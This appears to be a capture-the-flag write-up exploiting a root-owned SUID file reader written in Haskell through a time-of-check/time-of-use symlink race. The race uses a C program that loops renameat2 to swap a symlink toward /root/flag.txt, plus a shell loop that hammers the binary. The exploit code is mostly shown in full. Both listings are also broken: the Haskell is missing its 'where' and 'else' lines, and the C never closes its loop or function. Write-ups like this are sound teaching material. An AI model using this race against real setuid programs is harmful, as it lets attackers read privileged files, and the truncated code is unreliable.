PreCTF part 5

Once we have access to the webserver, we find a SUID binary owned by root and the source code:

module Main where

import System.Environment (getArgs)
import System.Posix.Types (FileMode)
import System.Posix.Files
import System.IO

hasMode :: FileMode -> FileMode -> Bool
hasMode f1 f2 = intersectFileModes f1 f2 == f1

verifyStat :: FileStatus -> Bool
verifyStat fs = notRootUID && notRootGID && hasMode ownerReadMode fMode
        notRootUID = fileOwner fs /= 0
        notRootGID = fileGroup fs /= 0
        fMode = fileMode fs

main :: IO ()
main = do
    file <- head <$> getArgs
    stat <- getFileStatus file
    if verifyStat stat then
        readFile file >>= putStrLn
        hPutStrLn stderr "Not allowed!"

This is a classic TOC/TOU vulnerability, if we pass it a symlink we can change what the symlink points to after the program checks file access, but before reading the file, we can have it read any file. So with a simple program that rapidly exchanges two symlinks:

#define _GNU_SOURCE

#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <sched.h>
#include <sys/stat.h>

int main() {
  close(open("/var/www/html/lol", O_RDWR|O_CREAT, 0777));
  symlink("/var/www/html/lol", "/var/www/html/sym");
  symlink("/root/flag.txt", "/var/www/html/sym_target");

  int fd = open("/var/www/html", O_DIRECTORY | O_RDONLY);

  while (1) {
    renameat2(fd, "/var/www/html/sym_target", fd, "/var/www/html/sym", RENAME_EXCHANGE);
    renameat2(fd, "/var/www/html/sym", fd, "/var/www/html/sym_target", RENAME_EXCHANGE);

Then, while running this program at the same time as spamming the SUID program:

while true; do ./gamestonks /var/www/html/sym; done

The flag is eventually printed.